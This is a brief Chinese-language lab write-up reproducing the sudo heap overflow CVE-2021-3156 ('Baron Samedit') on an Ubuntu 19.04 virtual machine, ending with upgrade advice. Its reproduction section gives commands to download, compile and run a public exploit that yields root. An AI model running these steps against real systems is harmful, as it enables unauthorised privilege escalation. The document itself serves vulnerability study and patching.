漏洞概述
2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。
当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。
由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
影响范围
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
环境搭建
本次环境使用ubuntu19.04版本
1、官方下载地址:old-releases.ubuntu.com/releases/19.04/
2、使用Vmware虚拟机安装最小安装即可。
漏洞复现
1、在终端输入sudo –version查看sudo版本,使用whoami查看当前用户
2、使用GitHub上的exp进行漏洞利用,使用wget或git进行下载
wget hub.fastgit.org/blasty/CVE-2021-3156/archive/main.zip
unzip main.zip
3、进入解压的目录,使用make编译成可执行文件
cd CVE-2021-3156-main/
Make
4、执行编译出来的文件后面加上ubuntu执行可以看到已经是root权限了(使用Debian的系统也可以)
./sudo-hax-me-a-sandwich ubuntu
修复建议
目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护。